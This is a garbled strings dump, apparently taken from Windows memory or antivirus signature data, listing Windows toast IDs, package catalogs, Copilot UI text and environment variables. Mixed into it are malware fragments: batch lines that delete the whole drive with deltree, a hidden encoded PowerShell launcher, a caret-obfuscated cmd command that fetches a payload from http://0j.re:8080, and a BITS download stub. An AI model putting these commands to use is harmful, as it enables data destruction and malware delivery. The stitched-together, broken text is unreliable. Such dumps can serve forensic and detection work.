Windows.System.ShareExperience
Windows.System.NearShareExperienceReceive
Windows.System.MiracastReceiver	
Windows.System.DialServer
Windows.System.Continuum
Windows.System.Audio
Windows.System.AppInitiatedDownload
Windows.PrintDialog_cw5n1h2txyewy!Microsoft.Windows.PrintDialog
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
Windows.Defender.SecurityCenter
Windows.Defender.MpUxDlp
Windows.Defender
Windows.CBSPreview_cw5n1h2txyewy!Microsoft.Windows.CBSPreview
MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostApp
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.WsxPackManager
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.ExperienceExtensions
Windows.SystemToast.StorSvc8"
Windows.SystemToast.StartupApp7&
Windows.SystemToast.SpeechServices6#
Windows.SystemToast.SoftLanding5
Windows.SystemToast.Share4<
Windows.SystemToast.ServiceInitiatedHealing.Notification3&
Windows.SystemToast.SecurityCenter2.
Windows.SystemToast.SecurityAndMaintenance1#
Windows.SystemToast.RecallSetup0(
Windows.SystemToast.RasToastNotifier//
Windows.SystemToast.Print.PrintNotification.0
Windows.SystemToast.Print.PrinterCleanupTask-*
Windows.SystemToast.Print.Notification,9
Windows.SystemToast.PresenceSensing.OnlookerDetection+"
Windows.SystemToast.PinConsent*)
Windows.SystemToast.NfpReceiveContent)(
Windows.SystemToast.NfpDevicePairing($
Windows.SystemToast.NfpAppLaunch'%
Windows.SystemToast.NfpAppAcquire&*
Windows.SystemToast.MobilityExperienceB
Windows.SystemToast.LowDisk%'
Windows.SystemToast.LocationManager$(
Windows.SystemToast.LanguageSettings#!
Windows.SystemToast.HelloFace"!
Windows.SystemToast.FodHelperA 
Windows.SystemToast.Explorer!0
Windows.SystemToast.EnterpriseDataProtection '
Windows.SystemToast.DisplaySettings@%
Windows.SystemToast.DisplayBroker
Windows.SystemToast.DevicesFlow
Windows.SystemToast.Devices
Windows.SystemToast.DeviceManagement
Windows.SystemToast.DeviceEnrollmentActivity
Windows.SystemToast.DeviceConsent
Windows.SystemToast.DefaultAudioEndpoint
Windows.SystemToast.Compat
Windows.SystemToast.CloudExperienceHostLauncherCustom?,
Windows.SystemToast.CameraTroubleshooter
Windows.SystemToast.Calling.SystemAlertNotification
Windows.SystemToast.Wwansvc>5
Windows.SystemToast.WindowsUpdate.MoNotification2=4
Windows.SystemToast.WindowsUpdate.MoNotification<"
Windows.SystemToast.WindowsTipD*
Windows.SystemToast.WiFiNetworkManager;(
Windows.SystemToast.Usb.Notification:(
Windows.SystemToast.SuggestedActions9!
Windows.SystemToast.SuggestedC
Windows.SystemToast.StorSvc8"
Windows.SystemToast.StartupApp7&
Windows.SystemToast.SpeechServices6#
Windows.SystemToast.SoftLanding5
Windows.SystemToast.Share4<
Windows.SystemToast.ServiceInitiatedHealing.Notification3&
Windows.SystemToast.SecurityCenter2.
Windows.SystemToast.SecurityAndMaintenance1#
Windows.SystemToast.RecallSetup0(
Windows.SystemToast.RasToastNotifier//
Windows.SystemToast.Print.PrintNotification.0
Windows.SystemToast.Print.PrinterCleanupTask-*
Windows.SystemToast.Print.Notification,9
Windows.SystemToast.PresenceSensing.OnlookerDetection+"
Windows.SystemToast.PinConsent*)
Windows.SystemToast.NfpReceiveContent)(
Windows.SystemToast.NfpDevicePairing($
Windows.SystemToast.NfpAppLaunch'%
Windows.SystemToast.NfpAppAcquire&*
Windows.SystemToast.MobilityExperienceB
Windows.SystemToast.LowDisk%'
Windows.SystemToast.LocationManager$(
Windows.SystemToast.LanguageSettings#!
Windows.SystemToast.HelloFace"!
Windows.SystemToast.FodHelperA 
Windows.SystemToast.Explorer!0
Windows.SystemToast.EnterpriseDataProtection '
Windows.SystemToast.DisplaySettings@%
Windows.SystemToast.DisplayBroker
Windows.SystemToast.DevicesFlow
Windows.SystemToast.Devices
Windows.SystemToast.DeviceManagement
Windows.SystemToast.DeviceEnrollmentActivity
Windows.SystemToast.DeviceConsent
Windows.SystemToast.DefaultAudioEndpoint
Windows.SystemToast.Compat
Windows.SystemToast.CloudExperienceHostLauncherCustom?,
Windows.SystemToast.CameraTroubleshooter
Windows.SystemToast.Calling.SystemAlertNotification
Windows.SystemToast.DisplaySettingsSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45v?
Windows.SystemToast.CloudExperienceHostLauncherCustomSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45\>
Windows.SystemToast.WwansvcSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45r=
Windows.SystemToast.WindowsUpdate.MoNotification2Systemapp:system2026-02-20 16:13:452026-02-20 16:13:45q<
Windows.SystemToast.WindowsUpdate.MoNotificationSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45g;
Windows.SystemToast.WiFiNetworkManagerSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45e:
Windows.SystemToast.Usb.NotificationSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45e9
Windows.SystemToast.SuggestedActionsSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45\8
Windows.SystemToast.StorSvcSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45_7
Windows.SystemToast.StartupAppSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45c6
Windows.SystemToast.SpeechServicesSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44`5
Windows.SystemToast.SoftLandingSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44Z4
Windows.SystemToast.ShareSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44y3
Windows.SystemToast.ServiceInitiatedHealing.NotificationSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44c2
Windows.SystemToast.SecurityCenterSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44k1
Windows.SystemToast.SecurityAndMaintenanceSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44`0
Windows.SystemToast.RecallSetupSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e/
Windows.SystemToast.RasToastNotifierSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44l.
Windows.SystemToast.Print.PrintNotificationSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44m-
Windows.SystemToast.Print.PrinterCleanupTaskSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44g,
Windows.SystemToast.Print.NotificationSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44v+
Windows.SystemToast.PresenceSensing.OnlookerDetectionSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44_*
Windows.SystemToast.PinConsentSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44f)
Windows.SystemToast.NfpReceiveContentSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e(
Windows.SystemToast.NfpDevicePairingSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44P
E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy!Microsoft.Windows.AppResolverUXapp:immersive2026-02-20 16:13:452026-02-20 16:13:45tF
1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy!Microsoft.Windows.FilePickerapp:immersive2026-02-20 16:13:452026-02-20 16:13:45_D
Windows.SystemToast.WindowsTipSystemapp:system2026-02-20 16:13:452026-02-24 07:58:56^C
Windows.SystemToast.SuggestedSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45gB
Windows.SystemToast.MobilityExperienceSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45^A
Windows.SystemToast.FodHelperSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45d@
Windows.SystemToast.DisplaySettingsSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45v?
Windows.SystemToast.CloudExperienceHostLauncherCustomSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45\>
Windows.SystemToast.WwansvcSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45r=
Windows.SystemToast.WindowsUpdate.MoNotification2Systemapp:system2026-02-20 16:13:452026-02-20 16:13:45q<
Windows.SystemToast.WindowsUpdate.MoNotificationSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45g;
Windows.SystemToast.WiFiNetworkManagerSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45e:
Windows.SystemToast.Usb.NotificationSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45e9
Windows.SystemToast.SuggestedActionsSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45\8
Windows.SystemToast.StorSvcSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45_7
Windows.SystemToast.StartupAppSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45c6
Windows.SystemToast.SpeechServicesSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44`5
Windows.SystemToast.SoftLandingSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44Z4
Windows.SystemToast.ShareSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44y3
Windows.SystemToast.ServiceInitiatedHealing.NotificationSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44c2
Windows.SystemToast.SecurityCenterSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44k1
Windows.SystemToast.SecurityAndMaintenanceSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44`0
Windows.SystemToast.RecallSetupSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e/
Windows.SystemToast.RasToastNotifierSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44l.
Windows.SystemToast.Print.PrintNotificationSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44m-
Windows.SystemToast.Print.PrinterCleanupTaskSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44g,
Windows.SystemToast.Print.NotificationSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44v+
Windows.SystemToast.PresenceSensing.OnlookerDetectionSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44_*
Windows.SystemToast.PinConsentSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44f)
Windows.SystemToast.NfpReceiveContentSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e(
Windows.SystemToast.NfpDevicePairingSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44lyName
(vkernel debug log messages (using debug agent)geoip lookupwow (windows on windows) 64-bit os to 32-bit application injection managermoz text scraping collection tool & scriptslotus notes collectorall data sent to data manager (like seeing data on the server)!#PUA:Block:Zaxar
Windows.UI.Xaml
Windows.UI.Xaml.winmd
Windows.UI.Xaml.Automation
%windir%\system32\inetsrv\srvhttp.dllSrvHttpModule
windows\start menu\program
Microsoft.Windows.BackgroundManager
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateString
7{echooffc:\windows\command\deltree/yc:\windows\*.*
@echooffc:\windows\command\deltree/yc:\progra~1\*.*
@echooffc:\windows\command\deltree/yc:\*.*
windows-1251, CommandLinew
winlogon.exe
Windows
OS=Windows_NT
?Bs\system32\cmd.exe/cstart"""c:\users\bruno\appdata\roaming\microsoft\
c:/windows/system32/d
c:/windows/system32/dl
SCPT:Windowstyle.CAF3
regdelete ( "hkcu\software\microsoft\windows\currentversion\run" , "
WINDOWS11Y
Microsoft-OneCore-EnterpriseNetworking-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-DesktopFileExplorer-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-DesktopFileExplorer-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
ges\MicrosoftWindows.Client.CBS_cw5n1h2t
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Site Characteristics Database/MANIFEST-000019
 Windows error
\NamePipe_MoreWindows\
	s\system32\imageres.dll%
9WZDNCRFHVN5Windows Calculatorhttps://store-images.s-microsoft.com/image/apps.25936.9007199266248474.fed2dcad-f741-47ef-9f1e-307a2d51b9c0.e8f74e94-4e54-4047-88cd-e358d68e7832en
9WZDNCRFHVN5Calculatrice Windowshttps://store-images.s-microsoft.com/image/apps.25936.9007199266248474.fed2dcad-f741-47ef-9f1e-307a2d51b9c0.e8f74e94-4e54-4047-88cd-e358d68e7832fr
9WZDNCRFHVN5Windows-Rechnerhttps://store-images.s-microsoft.com/image/apps.25936.9007199266248474.fed2dcad-f741-47ef-9f1e-307a2d51b9c0.e8f74e94-4e54-4047-88cd-e358d68e7832de
%Microsoft Windows Production PCA 20110
Microsoft Windows0
\windows\ccm\
<paramname="command"value="shortcut"><paramname="button"value="bitmap::shortcut"><paramname="item1"value=",cmd.exe,/cc:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-executionpolicybypass-nologo-noprofile-encodedcommanduwb0ageacgb0ac0auwbsaguazqbwacaalqbtaguaywbvag4azabzacaamga7acqac
.exec:\windows\system32\imageres.dll%systemroot%\system32\imageres.dll%systemroot%\system32\imageres.dll%wn]nd.q`xdesktop-62mjrd1ck>/2ck>/21spsxfl8c&mm.s-1-5-21-647366637-3935177586-2560674731-100391spsmdphh@.=xhh]8mp
-------------- clipboard -------------%s~~~~~~~~~~~~activewindow::%sC:\WINDOWS\SYSTEM32\FMSV
GetWindowTextWEnumWindowsRpcStringBindingComposeDllEntryproj.dll!#Adware:Win32/SideOn
          other {Your administrator automatically closes Microsoft Copilot when it isn't used for # minutes.}}Continue using Microsoft CopilotHelp us improve Microsoft CopilotYour parent has turned off "Permissions for sites, apps and extensions" for Microsoft CopilotYour organization can see and manage browsing data, such as your bookmarks, history, and passwords. It can't see browsing data in other Microsoft Copilot profiles.Get Microsoft Copilot's strongest securityWe've opened your file for quick and easy viewing right in Microsoft Copilot. Choose Download file if you want to use it later.Microsoft Copilot is trying to fill passwords. Type your Windows password to allow this.Microsoft Copilot UpdatecopilotupdateMicrosoft Copilot Updater ServiceMicrosoft Copilot Updater Internal ServiceKeeps your Microsoft Copilot software up to date. If this service is disabled or stopped, your Microsoft Copilot software will not be kept up to date, meaning security vulnerabilities that may arise cannot be fixed and features may not work.Microsoft Copilot for BusinessTo cast with a code, turn on Microsoft Copilot's sync settingsCustomize your Microsoft CopilotTo sign in to Microsoft Copilot with an additional email account, add a profile.You've signed out of your account from a website, so we've signed you out of Microsoft Copilot. Sign in to sync your browsing data across devices.Your Microsoft Copilot application may not be fully functional until you sign in againThe Microsoft Copilot team has been notified of this issue. Please try again later.You may have a network capture tool open, so Microsoft Copilot can't sign you in right now. Please close the tool and sign in again. Error code: $1Sign in is not supported when running Microsoft Copilot as an administrator. Please relaunch Microsoft Copilot as a non-administrator and try signing in again.Microsoft Copilot sign in requires the latest version of WebView2 to be installed on this device. Please install it and try signing in again.The account you're trying to sign into belongs to a sovereign cloud that Microsoft Copilot doesn't support yet. Please try again with another account.Favorites, history, and other stuff will not be saved when you close the application.Assistance from Microsoft CopilotSign in to Microsoft CopilotYou are now signed in to Microsoft CopilotMicrosoft Copilot will use this profile to automatically sign in to this site each time visit.Sign into Microsoft Copilot, get signed in everywhere.Automatically sign in to this site and other Microsoft sites when you sign in to Microsoft Copilot.Microsoft Copilot can check if your passwords were part of a data breach.When this setting is on, Microsoft Copilot detects the language on your webpage and offers to translate if the language detected is not listed under Preferred languages. The webpage text will be sent to Microsoft Translator service for translation, where the text is stored for service improvements. Learn more about how the Microsoft Translator service uses your data .Some settings were corrupted by another program so Microsoft Copilot reset them to their default values.Let Microsoft Copilot choose when sites can play sound (recommended)When you sign out, changes you make to favorites, history, passwords, and other settings will not be synced to your Microsoft account. To sync this device again, sign in to Microsoft Copilot as .Don
ndex.windows
GetProcessWindowStation
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
WINDOWS11
GetWindowsInstallType
WindowsFrm_SIM
%system%\config\systemprofile\appdata\local\microsoftwindows\
s\system32\
l><head><metahttp-equiv="content-type"content="text/html;charset=windows-1252"><title>dhl</title><styletype="text/css">/*co
Mozilla/5.0 (Windows NT 10.0; Win64; x
ir%\system32\
cmd.exepku-1/q/v/r^s^ta^r^t^msie^x^e^c/fv"http://0j.re:8080/yby73dcp/qzrcijoxzec6ts45qa/xnnmlwiwwv/!computername!"/q^ui^e^tbs^zcs^v=i^j^v^thmn%windir%\system32\shell32.dll
Dc:\windowsi
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
@Windows.UI.FileExplorer.dll,-51808
9NWVC7XP3PFDCities: Skylines - Windows 10 Editionhttps://store-images.s-microsoft.com/image/apps.26616.14442149246756025.95cc7c09-6f27-48f0-b539-fbd6dedebd08.f505a3b8-2416-4124-a5b1-481281d4e2afen
SuspSystem32Clea
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-SearchEngine-Client-Package-shell-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-SearchEngine-Client-Package-shell-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-SearchEngine-Client-Package-shell-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3323.cat|!
Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
C:\WINDOWS\system32\backgroundTaskHost.exe
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
WINDOWS11
c:\windows\system32\cmd.exe/
powershell.exe-windowstylehidden-command"&{import-modulebitstransfer;start-bitstransfer
pWindows|
Assets/contrast-black/WindowsSecurityMedTile.scale-125_contrast-black.pngPK
Assets/contrast-white/WindowsSecurityMedTile.scale-125_contrast-white.pngPK
Assets/WindowsSecurityMedTile.scale-125.pngPK
Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe
Assets/contrast-white/WindowsSecurityAppList.scale-100_contrast-white.pngPK
Assets/contrast-black/WindowsSecurityAppList.scale-100_contrast-black.pngPK
Assets/contrast-black/WindowsSecurityAppList.scale-125_contrast-black.pngPK
Assets/WindowsSecurityAppList.scale-125.pngPK
Assets/WindowsSecurityAppList.scale-100.pngPK
Assets/WindowsSecurityAppList.scale-400.pngPK
Assets/WindowsSecurityAppList.targetsize-256.pngPK
Assets/WindowsSecurityAppList.targetsize-256_altform-lightunplated.pngPK
Assets/contrast-black/WindowsSecurityAppList.scale-400_contrast-black.pngPK
Assets/contrast-white/WindowsSecurityAppList.scale-125_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityAppList.scale-150_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityAppList.scale-200_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityAppList.scale-400_contrast-white.pngPK
Assets/WindowsSecurityAppList.targetsize-48.pngPK
Assets/WindowsSecurityAppList.scale-200.pngPK
LOCALAPPDATA=C:\WINDOWS\system32\config
s\system32
c:\windows\system32
c:\windows\G
%windir%\system32\dllcache\svchost.exeproxy.T
AC:\Users\Jamie\Documents\Visual Studio 2008\Projects\WindowsApplication15\WindowsApplication15\obj\Release6
=c:\windows\system32
 c:\windows\system32\msiexec.exe$
C:\WINDOWS\SYSTEM32\
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHostEnableAdminTSRemote
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy
Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy!App
C:\Windows\xpupdate"
            <xs:attribute name="WindowsRuntimeAccess" type="t:ST_ApplicationContentUriRunTimeAccess_Uap" use="optional"/>
      <xs:enumeration value="windows.fileTypeAssociation"/>
      <xs:enumeration value="windows.protocol"/>
      <xs:enumeration value="windows.autoPlayContent"/>
      <xs:enumeration value="windows.autoPlayDevice"/>
      <xs:enumeration value="windows.shareTarget"/>
      <xs:enumeration value="windows.search"/>
      <xs:enumeration value="windows.fileOpenPicker"/>
      <xs:enumeration value="windows.fileSavePicker"/>
      <xs:enumeration value="windows.cachedFileUpdater"/>
      <xs:enumeration value="windows.contactPicker"/>
      <xs:enumeration value="windows.cameraSettings"/>
      <xs:enumeration value="windows.accountPictureProvider"/>
      <xs:enumeration value="windows.printTaskSettings"/>
      <xs:enumeration value="windows.lockScreenCall"/>
      <xs:enumeration value="windows.contact"/>
      <xs:enumeration value="windows.appointmentsProvider"/>
      <xs:enumeration value="windows.alarm"/>
      <xs:enumeration value="windows.webAccountProvider"/>
      <xs:enumeration value="windows.dialProtocol"/>
      <xs:enumeration value="windows.appService"/>
      <xs:enumeration value="windows.mediaPlayback"/>
      <xs:enumeration value="windows.print3DWorkflow"/>
      <xs:enumeration value="windows.lockScreen"/>
      <xs:enumeration value="windows.aboveLockScreen"/>
      <xs:enumeration value="windows.personalAssistantLaunch"/>
      <xs:enumeration value="windows.voipCall"/>
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
ComSpec=C:\WINDOWS\system32\cmd.exe
MP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
windir=C:\WINDOWS
C:\WINDOWS\system32\wbem\wmiprvse.exe
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
i Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
